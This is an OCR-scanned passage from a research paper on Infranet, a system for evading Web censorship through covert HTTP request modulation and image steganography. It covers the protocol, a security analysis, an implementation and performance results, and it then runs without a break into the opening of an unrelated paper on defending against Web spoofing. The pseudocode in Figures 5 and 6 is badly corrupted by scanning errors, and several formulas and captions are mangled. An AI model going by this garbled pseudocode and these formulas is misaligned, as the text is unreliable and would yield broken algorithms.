ically smaller than itself and lexicographically larger than 
the preceding split-string in S. The client determines which 
lexicographic interval contains the hidden message and re- 
sponds with the split-string that identifies that interval. 

While the focus of the Adler-Maggs protocol is to en- 
able communication over an asymmetric channel, we are 
also concerned with maintaining covertness and statistical 
deniability. In particular, we aim to ensure that at each step, 
the probability that an Infranet requester selects a particular 
link ts equal to the probability that an innocent browser se- 
lects that link. We therefore include link traversal probabil- 
ity information as a parameter to the algorithm for choos- 
ing split-strings. We extract these probabilities from the 
server's access log. 

Prior to communicating with the requester, the 
responder computes the following information of- 
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PROCEDURE MODULATE(URL, S) 
/ Select the smallest split-string from s, 
//lexicographically larger than ur 
stringwwax ¢-{u|uESsandu > url 
and Av € Ss.t.url<u<u} 
// Request the page corresponding to the selected string 
r¢-{S, (2] | S 51] = stringmax} 
send r 


Figure 5. Pseudocode for a modulation function using 
range-mapping. 


fline: C, the cumulative frequency distribution for 
hidden requests; and PP, the link-traversal proba- 
bilities. | Specifically, P is the set of probabilities 
Pij_ =  P(next request is for page p;|current page is p;) 


for all pages p; and p; in FR, the set of all pages on the 
responder’s Web site. 

In each round, the set S contains & tuples, where & is 
the number of pages r for which P(r|reyrrent) > 9, i.e. 
the number of possibilities for the requester’s next visible 
HTTP request, given the current page reyrrent. These tu- 
ples specify & consecutive probability intervals within C. 
The size of each probability interval Av; is proportional 
to the conditional probability P(r|reyrrent). By assigning 
probability intervals according to the next-hop probabilities 
for HTTP requests on a Web site, range-mapping provides 
statistical deniability for the requester by making it more 
likely that the requester will take a path through the site that 
would be taken by an innocuous Web client.” The sum of all 
k intervals is equal to 6, the size of the probability interval 
for the previous iteration, or to | for the first iteration. 

Pseudocode for the modulation function is shown in Fig- 
ure 5. In each iteration, the requester receives S and selects 
the split string s that specifies the range in which its mes- 
sage URL lies. It then sends the corresponding visible HTTP 
request rT. 

Figure 6 shows pseudocode for the demodulation func- 
tion. The responder interprets the request reyrrent aS a 
range specification, bounded above by the corresponding 
split-string Scyrrent and below by split-string in S which 
precedes Scyrrent lexicographically. Given this new range, 
the responder updates the bounds for the range, string, ;, 
and string,,,, (lines 12-13), and generates a new split- 
string set S for that range (as shown in lines 5-9 and Fig- 
ure 7). 

A requester can use this scheme to modulate the hidden 
message URL even if it is not in the domain of C. The re- 


“We present the range-mapping model based on one-hop conditional 
probabilities. It should be noted that although this approach provides the 
appropriate distribution on link probabilities at each step, it is not guaran- 
teed to properly distribute more complex quantities such as the probability 
of an entire sequence of link choices. 
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PROCEDURE DEMODULATE(P,C, recurrent: StTiING mins StYING max) 


// When the range reaches Zero, return the string found 
) if (string... = string 
2 returm string i, 
else 
// Compute total range for this iteration 
3 6 + C(string,,.,) — C(string,,.,) 
// Initialize lower bound of first sub-interval 
4 Univ C(string_..,) 
// For all openly served pages r in R, where 
// Rts the set of all pages on the Web site 
5 VER 
// Set the upper bound of the sub-interval proportional 
// to the probability of requesting page r 
6 v <- 6: P(r|reurrent) + Umin 
// Extract the string at the boundary of the sub-interval 
// This is the split-string for the sub-interval 


max) 


% s ¢-C7*(v) 
/ Save the pair formed by split-string s and page r 
8 S4<SU {(s,r)} 


Prepare to compute subsequent sub-interval 
9 UVmin <— U 
/! Send the set of all pairs to the requester 


10 send § 
// Receive new HTTP request 
11 receive current 


// Update interval given the selected split-string 
12 stringwax +- {Ss[é] | Sr[t] = reurrent} 
{S.{i] | S.{i+ 1] = string, } ifi #0 
0 otherwise 
// Further reduce interval 


13 string win <- 


14 return DEMODULATE(P, C, recurrent StTiNG mins StTING wax ) 


Figure 6. Pseudocode for a demodulation function using 
range-mapping. 


quester and responder can perform range-mapping until the 
range becomes two consecutive URLs in C. The prefix that 
these two URLs share becomes the prefix p of the hidden 
message. At this point, the requester and responder may 
continue the range-mapping algorithm over the set of all 
strings that have p as a prefix. 

Since the requester’s message may be of arbitrary length, 
there must exist an explicit way to stop the search. One so- 
lution is to adda tuple (€, r,,, 47) to S, where e€ indicates that 
the requester is finished sending the request. When all split- 
strings share a common prefix equal to the hidden message, 
the requester transmits r,,,7. 

Range-mapping is similar to arithmetic coding, which 
divides the size of each interval in the space of binary strings 
according to the probability of each symbol being transmit- 
ted. The binary entropy, H(C), is the expected number of 
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Figure 7. One _ iteration of the 
demodulation function. The initial interval 
[(C(string,;,),C(string»ax)| is divided into k 
sub-intervals according to probabilities of requesting 
any page on the responder’s Web site given the current 
Page 7cyrrent- The responder generates the split- 
strings Ss; through s, that correspond to sub-interval 
boundaries and returns them to the requester. 


range-mapping 


bits required to modulate a message in C. Arithmetic coding 
of a binary string requires H(C) + 2 transmissions, assum- 
ing 1 bit per symbol [31]. In our model, each page has k 
links. Therefore, each visible HTTP request transmits |g(k) 
bits, and the expected number of requests required to mod- 


ulate a hidden request is ee] + 2. 


4.33. Downstream Communication 


Figure 8 shows the decomposition of the downstream 
hiding function Hgown. The requester receives a hidden 
message from the responder by making a series of HTTP re- 
quests for images. The responder applies D to the requested 
images and sends the resulting images to the requester. The 
requester can then apply the inverse modulation function 
D~! to recover the hidden message fragment. To ensure 
innocuous browsing patterns, the requester should request 
an HTML page and subsequently request the embedded im- 
ages from that page (as opposed to making HTTP requests 
for images out of the blue). 

For the modulation function D, we use the outguess 
utility [16], which modifies the high frequency components 
of an image according to both the message being transmit- 
ted and a secret key. Modulation takes place in two stages— 
finding redundant bits in the image (1.e., the least significant 
bits of DCT coefficients in the case of JPEG), and embed- 
ding the message in some subset of these redundant bits. 
The first stage is straightforward. The second stage uses 
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Figure 8. Downstream communication also consists of a 
sequence of HTTP requests and responses. The respon- 
der hides messages that it sends to the requester in the 
HTTP responses. One efficient downstream communi- 
cation mechanism uses steganography to hide down- 
stream messages in requested images. 


the shared secret SKEY as a Seed to a pseudorandom num- 
ber generator that determines which subset of these bits will 
contain the message. Therefore, without knowing the secret 
key, an adversary cannot determine which bits hold infor- 
mation. Previous work describes this process in greater de- 
tail [17]. 

Steganography is designed to hide a message 1n a cover 
image, where the adversary does not have access to the orig- 
inal cover and thus cannot detect the presence of a hidden 
message. However, because a Web server typically serves 
the same content to many different users (and even to the 
sameuser multiple times), an adversary can detect the use of 
steganography simply by noticing that the same requested 
URL corresponds to different content every time it is re- 
quested. One solution to this problem is to require that 
the responder never serve the same filename twice for files 
that embed hidden information. For this reason, a webcam 
serves as an excellent mode for transmitting hidden mes- 
sages downstream, because the filenames and images that 
a webcam serves regularly change by small amounts. We 
discuss this problem in more detail in Section 5. To pro- 
tect Infranet requesters, Infranet responders embed content 
in every image, regardless of whether the Web client is an 
Infranet requester. 

There are many other possible modulation functions for 
hiding downstream messages. One possibility is to embed 
messages in HTTP response headers or HTML pages. How- 
ever, this does not provide the downstream bandwidth that 
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is necessary to deliver messages to the requester in a reason- 
able amount of time. Another alternative is to embed mes- 
sage fragments in images using hidden watermarks. Both 
watermarking and steganography conceal hidden content; 
additionally, watermarks are robust to modification by an 
adversary. Past work has investigated watermarking tech- 
niques for compressed video [6]. A feasible downstream 
modulation function might use downloaded or streaming 
audio or video clips to hide messages. 

Note that our downstream modulation scheme does not 
fundamentally depend on the use of steganography. In fact, 
it may make more sense to use a data hiding technique that 
an adversary cannot modify or remove without affecting the 
visibly returned content. For example, if a responder uses 
low-order bits of the brightness values of an image to em- 
bed data, the censor will have more difficulty removing the 
covert data without affecting the visible characteristics of 
the requested image. Since we assume that the censor does 
not want to affect the experience of normal users, this type 
of downstream communication might be more appropriate. 


5 Security Analysis 


In this section, we discuss Infranet’s ability to handle a 
variety of attacks from a determined adversarial censor. We 
are concerned with maintaining deniability and covertness 
in the face of these attacks, 1.e., making it hard for the cen- 
sor to detect requesters and responders. In addition, Infranet 
should provide confidentiality, so that even if a censor dis- 
covers an Infranet requester or responder, it cannot recover 
any of the messages exchanged. 

The adversary has access to all traffic passing between 
its network and the global Internet, especially all visible 
HTTP requests and responses. Furthermore, the adversary 
can actively modify any traffic that passes through it, as long 
as these modifications do not affect the correctness of the 
HTTP transactions themselves. 


5.1 Discovery Attacks 


A censor might attempt to discover Infranet requesters 
or responders by joining Infranet as a requester or a respon- 
der. To join Infranet as a requester, a participant must dis- 
cover the IP address and public key of a responder. Once 
the client joins, all information exchanged with a responder 
is specific to that requester. Thus, by joining the network 
as a requester, the censor gains no additional information 
other than that which must already have been obtained out- 
of-band. 

Alternatively, a censor might set up an Infranet respon- 
der in the hope that some unlucky requesters might con- 
tact it. By determining which Web clients’ visible HTTP 
requests demodulate to sensible Infranet messages, a cen- 
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| | HTTP Requests HTTP Responses | 
| No Target — Suspicious HTTP request headers Suspicious response headers or content 
HTTP request patterns Content patterns (e.g., same URL, different 
image) 


Link requests across Infranet requesters 


One Target 


Multiple Targets 








Common patterns in HTTP responses (e.g., | 
for commonly requested forbidden URLs) 


Table 1. A taxonomy of passive attacks on Infranet. If the censor has the ability to target suspected users, attacks involve 


more sophisticated analysis of visible HTTP traffic. 


sor can distinguish innocent Web clients from Infranet re- 
questers. Currently, we rely on each requester trusting the 
legitimacy of any responder it contacts. Section 8 describes 
a possible defense against this attack by allowing for un- 
trusted forwarders. 

A censor might mount a passive attack in an attempt to 
discover an Infranet communication tunnel. Because this 
type of attack often requires careful traffic analysis, passive 
attacks on Infranet are much more difficult to mount than 
active attacks based on filtering or tampering with visible 
HTTP traffic. The types of attacks that an adversary can 
perform depend on the amount of state it has, as well as 
whether or not it is targeting one or more users. 

Table | shows a taxonomy of passive attacks that a cen- 
sor can perform on Infranet. Potential attacks become more 
serious as the adversary targets more users. Weak attacks 
involve detecting anomalies in HTTP headers or content. 
Stronger attacks require more complex analysis, such as 
correlation of users’ browsing patterns. 

If a censor observes all traffic that passes through it 
without targeting users, 1t could attempt to uncover an In- 
franet tunnel by detecting suspicious HTTP request and re- 
sponse headers, such as a request header with a strange 
Date value or garbage in the response header. Infranet 
defends against these attacks by avoiding suspicious mod- 
ifications to the HTTP headers and by hiding downstream 
content with steganography. Additionally, by requiring that 
Infranet responders always serve unique URLs when con- 
tent changes, Infranet guards against a discovery attack on 
a responder, whereby a censor notices that slightly different 
content is being served from the same URL each time it is 
requested. 

A censor who targets a suspected Infranet requester can 
mount stronger attacks. A censor can observe a Web user’s 
browsing patterns and determine whether these patterns 
look suspicious. Since the modulation function determines 
the browsing pattern, a function that selects subsequent re- 
quests based on the structure of the responder’s Web site 
might help, but does not always reflect actual user behavior. 
Some pages might be rarely requested, while others might 


always be requested in sequence. Thus, it is best to base 
modulation functions on information from real access logs. 

While generating visible HTTP requests automatically 
requires the least work on the part of the user, this is not 
the only alternative. A particularly cautious user might fear 
that any request sequence generated by the system is likely 
to look “strange” and thus arouse suspicion. To overcome 
this, the system could give the user a certain degree of con- 
trol over which visible requests are transmitted. One ex- 
ample is for the requester to confirm each URL with the 
user before sending it. If the user finds the URL strange, he 
can force the requester to send a different URL that com- 
municates the same message fragment. These overrides in- 
troduce noise into the requester’s sequence. However, the 
requester can encode the message with an error correcting 
code that allows for such noise. 

Another solution would be to ensure that multiple URLs 
map to each message fragment the requester wants to send 
to give the user a choice of which specific visible URL to 
request. We conjecture that with sufficient redundancy, a 
user will frequently be able to find a plausible URL that 
sends the desired message fragment. 

By targeting multiple users, a censor may learn about 
many Infranet users as a result of discovering one Infranet 
user. Alternatively, a censor could become an Infranet re- 
quester and compare its behavior against other suspected 
users. We defend against these types of attacks by using 
requester-specific shared secrets. 


5.2 Disruptive Attacks 


Because all traffic between an Infranet requester and re- 
sponder passes through the censor, the censor can disrupt 
Infranet tunnels by performing active attacks on HTTP traf- 
fic, such as filtering, transaction tampering, and session 
tampering. 


5.2.1 Filtering 


A censor may block access to various parts of the Internet 
based on IP address or prefix block, DNS name, or port 
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number. Additionally, censors can block access to content 
by filtering out Web pages that contain certain keywords. 
For instance, Saudi Arabia is reportedly trying to acquire 
such filtering software [10]. 

Infranet’s success against filtering attacks depends on the 
pervasiveness of Infranet responders throughout the Web. 
Because Infranet responders are discovered out-of-band, a 
censor cannot rapidly learn about Infranet responders by 
crawling the Web with an automated script. While a cen- 
sor could conceivably learn about responders out-of-band 
and systematically block access to these machines, the out- 
of-band mechanism makes it more difficult for a censor to 
block access to all Infranet responders. The wider the de- 
ployment of responders on Web servers around the world, 
the more likely it is that Infranet will succeed. 

Note that because the adversary may filter traffic based 
on content and port number, it 1s relatively easy for the ad- 
versary to block SSL by filtering SSL handshake messages. 
Thus, Infranet provides far better defense against filtering 
than a system that simply relies on SSL. 


5.2.2 Transaction Tampering 


A censor may attempt to disrupt Infranet tunnel communi- 
cation by modifying HTTP requests and responses in ways 
that do not affect HTTP protocol conformance. For exam- 
ple, the adversary may change fields in HTTP request or 
response headers (e.g., changing the value of the Date: 
field), reorder fields within headers, or even remove or add 
fields. Infranet 1s resistant to these attacks because the tun- 
nel protocol does not rely on modifications to the HTTP 
header. 

As described in Section 4.1, the Infranet requester must 
present a unique user identifier with each HTTP request in 
order to be recognized across multiple HTTP transactions. 
A requester could send its user ID in a Web cookie with each 
HTTP request. However, if the censor removes cookies, 
we suggest maintaining client state by embedding the user 
ID (or some token that is a derivative of the user ID) in 
each URL requested by the client. Of course, to preserve 
the requester’s deniability, the responder must rewrite all 
embedded links to include this client token. 

The censor may modify the returned content itself. For 
example, it might insert or remove embedded links on a re- 
quested Web page or flip bits in requested images. Link 
insertion and deletion does not affect tunnel communica- 
tions that use a codebook because the client sends mes- 
sages upstream according to this codebook. Attacks on 
image content could disrupt the correct Infranet communi- 
cation. Traditional robust watermarking techniques defend 
against such attacks. Infranet detects and blocks such dis- 
ruptions by embedding the name of the served URL in each 
response. 
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§.2.3 Session Tampering 


An adversary might attempt to disrupt tunnel communica- 
tion by interfering with sequences of HTTP requests. A 
censor could serve a requester’s visible HTTP request from 
its own cache rather than forwarding this request to the In- 
franet responder. To prevent such an attack, the Infranet re- 
quester must ensure that its HTTP requests are never served 
from a cache. One way to do this is to always request 
unique URLs. We consider this requirement fairly reason- 
able: many sites that serve dynamic content (e.g., CGI- 
based pages, webcams, etc.) constantly change their URLs. 
Another option is to use the Pragma: no-cache di- 
rective, although a censoring proxy will likely ignore this. 

Alternatively, a censor might insert, remove, or reorder 
HTTP requests and responses. If a censor alters HTTP re- 
quest patterns, the Infranet responder might see errors in the 
received message. However, Infranet responders include the 
name of the served URL in each response stream, thus en- 
abling the requester to detect session corruption and restart 
the transmission. In the case of range-mapping, upstream 
transmission errors will be reflected in the split-strings re- 
turned by the responder. The requester can also defend 
against these attacks with error correction techniques that 
recover from the insertion, deletion, and transposition of 
bits [20]. 


6 Implementation 


Our implementation of Infranet consists of two compo- 
nents: the Infranet requester and the Infranet responder. The 
requester functions as a Web proxy and Is responsible for 
modulating a Web browser’s request for hidden content as 
a sequence of visible HTTP requests to the Infranet respon- 
der. The responder functions as a Web server extension and 
is responsible for demodulating the requester’s messages 
and delivering requested content. The requester and respon- 
der utilize a common library, 1ibinfranet, that imple- 
ments common functionality, such as modulation, hiding, 
and cryptography. In this section, we discuss our implemen- 
tation of the Infranet requester and responder, as well as the 
common functionality implemented in libinfranet. 


6.1 Requester 


We implemented the Infranet requester as an asyn- 
chronous Web proxy in about 2,000 lines of C++. We used 
libtcl for the asynchronous event-driven functionality. 
The requester sends visible HTTP requests to an Infranet 
responder, based on an initial URL at the responder, the re- 
sponder’s public key, and optionally an initial key IKEY. 

The requester queues HTTP requests from the user’s 
browser and modulates them sequentially. If the requester 
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Figure 9. Responder header format. 


knows about more than one responder, it can service re- 
quests in parallel by using multiple responders. 

In our implementation, visible HTTP requests from the 
requester are generated entirely automatically. As discussed 
in Section 5.1, we could also allow the user to participate in 
link selection to provide increased covertness. 


6.2 Responder 


We implemented the Infranet responder as an Apache 
module, mod_infranet in about 2,000 lines of C++, 
which we integrated with Apache 1.3.22 running on Linux 
2.4.2. The Apache request cycle consists of many phases, 
including URI translation, content-handling, and authoriza- 
tion [22]. Our mod_infranet module augments the con- 
tent handler phase of the Apache request loop. The respon- 
der processes requests as it normally would but also inter- 
prets them as modulated hidden messages. 

An Infranet responder must maintain state for a requester 
across multiple HTTP transactions. The current implemen- 
tation of the responder uses Web cookies to maintain client 
state because this mechanism was simple to implement; in 
the future, we plan to implement the URL rewriting mech- 
anism outlined in Section 5 because of its stronger defense 
against passive discovery attacks. The responder uses the 
REQUESTERTOKEN cookie, which contains a unique iden- 
tifier, to associate HTTP requests to a particular requester. 
For each requester, the responder maintains per-requester 
state, including which FSM state the requester is in, the 
modulation function the requester is using, the shared se- 
cret SKEY, and message fragments for pending messages. 

Figure 9 shows the header that the responder prepends to 
each message fragment. Version is a 4-bit field that specifies 
which version of the Infranet tunnel protocol the responder 
is running. Type specifies the type of message that the pay- 
load corresponds to (e.g., modulation function update, re- 
quested hidden content, etc.). Z is a 1-bit field that indicates 
whether the requested content in the payload is compressed 
with gzip (this is the case for HTML files but not images). 
Fragment Length refers to the length of the message frag- 
ment in the payload in bytes, and Fragment Offset speci- 
fies the offset in bytes where this fragment should be placed 
for reassembly of the message. Message Length specifies 
the total length of the message in bytes. Because upstream 
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bandwidth is scarce and transmitting a header might cre- 
ate recognizable modulation patterns, the requester does not 
prepend a header to its messages. 


6.3 Steganography and Compression 


Upon receiving a request, the responder determines 
whether it can embed hidden content in the response. Cur- 
rently, mod_infranet only embeds data in JPEG images. 
If the responder determines that it 1s capable of hiding infor- 
mation in the requested data, it uses outguess to embed 
the hidden information using SKEY. To reduce the amount 
of data that the responder must send to the requester, the 
responder compresses HTML files with gzip [5] before 
embedding them into images. 


64 Cryptography 


The Infranet requester generates the 160-bit shared se- 
cret SKEY using /dev/random. SKEY is encrypted us- 
ing the RSA public key encryption implementation in the 
OpenSSL library [15]. This ciphertext is 128 bytes, which 
imposes a large communication overhead. However, be- 
cause the ciphertext is a function of the length of the re- 
quester’s public key, it is difficult to make this ciphertext 
shorter. One option to ameliorate this would be to use an 
implementation of elliptic curve cryptography [13]. 


7 Performance Evaluation 


In this section, we examine Infranet’s performance. We 
evaluate the overhead of the tunnel setup operation and 
the performance of upstream and downstream communi- 
cation. Finally, we estimate the overhead imposed by 
mod_infranet on normal Web server operations. 

All of our performance tests were run using Apache 
1.3.22 with mod_infranet ona 1.8 GHz Pentium 4 with 
I GB of RAM. For all performance tests, we ran an Infranet 
requester and a Perl script that emulates a user’s browser 
from the same machine. 


7.1 Tunnel Setup 


Tunnel setup consists of two operations: upstream trans- 
mission of SKEY encrypted with the responder’s public-key, 
and downstream transmission of Uyypne. In our implemen- 
tation, SKEY 1s 160 bits long and the corresponding cipher- 
text is 128 bytes, proportional to the length of the respon- 
der’s public key. Transmission of Usunnet 18 equivalent to a 
single document transmission. The transmission of an ini- 
tial modulation function, if one is used, requires one addi- 
tional downstream transmission. 
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Figure 10. Number of visible HTTP requests required to 
modulate hidden URLs with and without link traversal 
probabilities for range-mapping, assuming 8 links per 
page (k = 8). The expected number of visible HTTP 
requests required to modulate a message is independent 
of whether the link traversal probabilities are used. 


7.2 Upstream Communication 


An important measure of upstream communication per- 
formance is how many HTTP requests are required to mod- 
ulate a typical message. We focus our evaluation on the 
range-mapping scheme described in Section 4.2. 

We evaluated the performance of range-mapping using a 
Web proxy trace containing 174,100 unique URLs from the 
Palo Alto IRCache [8] proxy on January 27, 2002.7 When 
we weight URLs according to popularity, the most popular 
10% of URLs account for roughly 90% of the visible HTTP 
traffic. This is significant, since modulating the most popu- 
lar 10% of URLs requires a small number of visible HTTP 
requests. 

A requester can achieve statistical deniability by pattern- 
ing sequences of HTTP requests after those of innocuous 
Web clients. As described in Section 4.2.3, this is done by 
assigning split-string ranges in C according to the pairwise 
link traversal probabilities ?. To evaluate the effect of us- 
ing the distribution ?, we modulated 1,740 requests from C, 
both using and ignoring ?, assuming 8 outgoing links per 
page. 

Figure 10 shows that assigning ranges based on link 
traversal probabilities does not affect the expected number 
of visible HTTP requests required to modulate a hidden re- 
quest. This follows directly from properties of arithmetic 
codes [31]. In both cases, over half of hidden messages 





>These traces were made available by National Science Foundation 
grants NCR-9616602 and NCR-9521745, and the National Laboratory for 
Applied Network Research. 
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Figure 11. The median and 90th percentile of number of 
requests to modulate a message is very small even for 
small numbers of outgoing links (k) on each page. 


required 4 visible HTTP requests, and no more than 10 
requests were needed for any message. Therefore, using 
traversal probabilities to determine the size of ranges in C 
provides statistical deniability without hurting performance. 

Setting link traversal probabilities to 1/k, we evaluated 
the effect of the number of links on a page, k, on upstream 
communication performance. Figure | | shows that 90% of 
messages from C can be modulated in 10 visible HTTP re- 
quests or fewer, even for k as small as 4. 

In the trace we used for our experiments, the binary en- 
tropy of the frequency distribution of requested URLs is 
16.5 bits. Therefore, the expected number of requests re- 


quired to transmit a URL from C is 18.8 + 2. The em- 
pirical results shown in Figure 11 agree with this analytical 
result. 

To evaluate the performance of range-mapping on real 
sites, we modulated hidden requests while varying k and 
p according to the browsing patterns observed on a real 
Web site. We analyzed the Web access logs fornms.1cs. 
mit.edu and pdos.lcs.mit.edu to generate values 
for k and p for each page on these sites. We then observed 
the number of visible HTTP requests required to transmit 
1,740 messages from C. Results from this experiment are 
shown in the table below. The number of requests required 
to modulate a hidden message is slightly higher than in Fig- 
ure 11, since k varies for a real Web site. 
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Figure 12. Number of requests required to retrieve data 
of various sizes. Each visible HTTP request contains 
approximately 1 kB of a hidden message. 


7.3 Downstream Communication 


Figure 12 shows the number of HTTP requests that an 
Infranet requester must make to retrieve hidden messages 
of various sizes. Each visible HTTP response contains ap- 
proximately 1 kB of a hidden message. The amount of 
data that can be embedded in one visible HTTP response 
depends on two factors—the compression ratio of the mes- 
sage and the amount of data that can be steganographically 
embedded into a single image. Thus, depending on the re- 
quested document and the images used to embed the hidden 
response, the number of visible HTTP requests required to 
send a given amount of hidden data may vary. 

We microbenchmarked the main operations involved in 
content preparation. First, we ran a microbenchmark of 
outguess in an attempt to determine the rate at which 
it can embed data into images. Our measurements indicate 
that outguess embeds data into an image at a rate of 20 
kB/sec, and that the time that outgquess takes to embed 
data is proportional to the size of the cover image. 

We also ran microbenchmarks on gzip to determine its 
computational requirements, as well as the compression ra- 
tios 1t achieves on typical HTML files. We fetched the in- 
dex . html page from 100 popular Web sites that we se- 
lected from Nielsen Netratings [14] and IRCache [8]; the 
median file size for these files was 1|OkB. gzip compressed 
these HTML files to as much as 12% of their original size; 
in the worst case, gz ip compressed the HTML file to 90% 
of its original size. In all cases, compression of an HTML 
file never took more than 20 milliseconds. 
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Figure 13. The overhead of running Infranet on Web 
server performance. For disk bound workloads, an In- 
franet responder performs comparably to an unmodified 
Apache server. 


7.4 Server Overhead 


To ensure plausible deniability for Infranet requesters, 
Infranetresponders always embed random or requested data 
in the content they serve. Because the responder must make 
no distinction between Infranet requesters and normal Web 
clients, an Infranet-enabled Web server incurs additional 
overhead in serving data to all clients. 

Therefore, to determine the performance implications of 
running an Infranet responder, we submitted an identical 
sequence of requests to an Infranet-enabled Apache server 
and an ordinary Apache server. The request trace contains a 
sequence of visible HTTP requests that were generated by 
using an Infranet requester to modulate the requests in the 
set of 100 popular Web sites. 

Figure 13 shows the additional overhead of running In- 
franet. Because the server must embed every image with 
data, regardless of whether it is serving an Infranet request 
or not, running Infranet incurs a noticeable performance 
penalty. 16% of all requests served on an Infranet responder 
achieved 300 kB/s or less, and 89% of requests were trans- 
ferred at 1 MB/s or less. In contrast, 62% of requests on a 
normal! Apache server were delivered at 1 MB/s or greater. 
Nevertheless, for disk bound workloads, an Infranet respon- 
der performs comparably to a regular Apache server. Band- 
width achieved by Infranet never drops below 32% of that 
achieved by an Apache server running without Infranet, and 
is within 90% of Apache without Infranet for 25% of re- 
quests. Our current implementation has not been optimized, 
and we believe we can reduce this overhead. One way to do 
so might be to pre-fetch or cache commonly requested cen- 
sored content. The overhead of running outguess could 
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Figure 14. An improved architecture separates the for- 
warding and decoding of hidden messages in both di- 
rections. This allows a potentially untrusted forwarder 
to service requests and serve hidden content. The UID 
serves to demultiplex requesters. 


be reduced by pre-computing the least-significant bits of the 
DCT for each image on the site. 


8 Enhancements 


To this point, we have assumed that Infranet requester 
software can be distributed on a physical medium, such as 
a CD-ROM. However, this distribution mechanism is slow, 
provides evidence for culpability, and is much easier for op- 
pressive governments to control thanelectronic distribution. 
Thus, a future enhancement would allow clients to down- 
load the Infranet requester software over Infranet itself, es- 
sentially bootstrapping the Infranet requester. 

The architecture we presented in Section 3 does not pro- 
tect against an impersonation attack whereby a censor es- 
tablishes an Infranet responder and discovers requesters by 
identifying the Web clients that send meaningful Infranet 
requests. Figure 14 shows an improved system architec- 
ture, where a requester forwards visible HTTP requests to a 
trusted responder through a potentially untrusted forwarder, 
such that only the responder can recover the hidden request. 
Responders fetch and encrypt requested content and return 
it to the requester through a forwarder, which hides the 
encrypted content in images. This scheme provides sev- 
eral improvements. First, blocking access to Infranet be- 
comes more difficult, because a requester can contact any 
forwarder, trusted or untrusted, to gain access. Second, the 
censor can become a forwarder, but it is much more difficult 
for the censor to become a trusted responder. 

In the current tunnel communication protocol, an In- 
franet requester and responder take turns transmitting mes- 
sages. It 1s conceivable that a scheme could be devised 
whereby the HTTP requests used to fetch the requested con- 
tent could also be used to transmit the next hidden message, 
thus interleaving the retrieval of hidden information with 
the transmission of the next hidden message. 

Since there are many conceivable ways of performing 
modulation and hiding, it is likely that there will be many 
different versions of the tunnel communication protocol. 
Tunnel setup should be amended to include version agree- 
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ment, such that if some particular aspect of the tunnel proto- 
col in a given version is found to be insecure, the requester 
and responder can easily adapt to run a different version. 


9 Conclusion 


Infranet enables users to circumvent Web censorship and 
surveillance by establishing covert channels with accessible 
Web servers. Infranet requesters compose secret messages 
using sequences of requests that are hard for a censor to 
detect, and Infranet responders covertly embed data in the 
openly returned content. The resulting traffic resembles the 
traffic generated by normal browsing. Hence, Infranet pro- 
vides both access to sensitive content and plausible denia- 
bility for users. 

Infranet uses a tunnel protocol that provides a covert 
communication channel between requesters and responders, 
modulated over standard HTTP transactions. In the up- 
stream direction, Infranet requesters send covert messages 
to Infranet responders by associating additional semantics 
to the HTTP requests being made. In the downstream di- 
rection, Infranet responders return content by hiding cen- 
sored data in uncensored images using steganographic tech- 
niques. While downstream confidentiality is achieved using 
a session key, upstream confidentiality is achieved by con- 
fidentially exchanging a modulation function. 

Our upstream and downstream protocols solve two in- 
dependent problems, and each can be tackled separately. 
Although our protocol is optimized for downloading Web 
pages, it actually provides a channel for arbitrary two-way 
communication; for example, Infranet could be used to 
carry out a remote login session. 

Our security analysis showed that Infranet can suc- 
cessfully circumvent several sophisticated censoring tech- 
niques, ranging from active attacks to passive attacks to im- 
personation. Our performance analysis showed that Infranet 
provides acceptable bandwidth for covert Web browsing. 
The range-mapping algorithm for upstream communication 
allows the requester to innocuously transmit a hidden re- 
quest in a number of visible HTTP requests that is propor- 
tional to the binary entropy of the hidden request distribu- 
tion. We believe that the widespread deployment of Infranet 
responders bundled with Web server software has the po- 
tential to overcome various increasingly prevalent forms of 
censorship and surveillance on the Web. 
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Abstract 


Computer security protocols usually terminate in a com- 
puter; however, the human-based services they support 
usually terninate in a human. The gap between the hu- 
man and the computer creates potential for security prob- 
lems. This paper examines this gap, as it is manifested in 
“secure” Web services. Felten et al demonstrated the 
potential, in 1996, for malicious servers to impersonate 
honest servers. Our recent follow-up work explicitly 
shows how malicious servers can still do this—and can 
also forge the existence of an SSL session and the con- 
tents of the alleged server certificate. This paper reports 
the results of our ongoing experimental work to systemat- 
ically defend against Web spoofing, by creating a trusted 
path from the browser to the human user. 


1 Introduction 


In the real world, computer security protocols usually do 
not exist for their own sake, but rather 1n support of some 
broader human process, such as shopping, filing govern- 
ment forms, or accessing medical services. However, 
the computer science community, perhaps because of its 
training, tends to focus on the computers involved in these 
social systems. If, by exchanging bits and performing 
cryptographic operations, the client machine can correctly 
authenticate a trusted server machine and correctly reject 
an untrusted one, then we tend to conclude the system 1s 
secure. 

This tendency overlooks the fact that, in such systems, 
the client machine may receive the information, but the 
human user typically makes the trust decision. Simply 
ensuring that the machine draws the correct conclusion 
does not suffice, if the adversary can craft material that 
nevertheless fools the human. 

In this paper, we examine these issues as they relate to 
the Web. The security of the Web relies on Secure Socket 


Layer (SSL)—a protocol that uses public-key cryptogra- 
phy to achieve confidentiality and integrity of messages, 
and optionally authentication of parties. In a typical “se- 
cure” Web session, the client machine authenticates the 
server and establishes an encrypted, MAC’d channel using 
SSL. However, it 1s not the human user but the Web 
browser that carries out this protocol. After establishing 
the SSL channel, the Web browser displays corresponding 
signals on its user interface, such as locking the SSL pad- 
lock, changing the protocol header to /ttps, and popping 
up warning windows to indicate that an SSL session has 
been set up. The human uses these signals to make his 
or her trust judgment about the server. The adversary can 
thus subvert the secure Web session simply by creating 
the illusion that the browser has displayed these signals. 

The term Web spoofing denotes this kind of “smoke 
and mirrors” attack on the Web user interface. To defend 
against Web spoofing, we need to create a trusted path be- 
tween the Web browser and tts human user. Through this 
trusted path, the browser can communicate relevant trust 
signals that the human can easily distinguish from the ad- 
versary’s attempts at spoof and illusion. 


1.1 Background: Effective PKI 


The research that this paper reports had roots in our con- 
sideration of public key infrastructure (PK1). 

In theory, public-key cryptography enables effective 
trust judgments on electronic communication between 
parties who have never met. The bulk of PKI work fo- 
cuses on distribution of certificates. We started instead 
with a broader definition of “infrastructure” as “that which 
is necessary to achieve this vision in practice”, and fo- 
cused on server-side SSL PKI as perhaps the most acces- 
sible (and e-commerce critical) instantiation of PKI in our 
society. 

Loosely speaking, the PKI in SSL establishes a trusted 
channel between the browser and server. Our initial set of 
projects [12, 21, 22, 23] examined the server end, and how 
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to extend the trust from the channel itself into data storage 
and computation at the server. Our immediate motivation 
was that, for our server-hardening techniques to be effec- 
tive, the human needs to determine if the server is using 
them; however, this issue has much broader implications 
(as Section 7.2 will discuss). 


1.2 Prior Work 


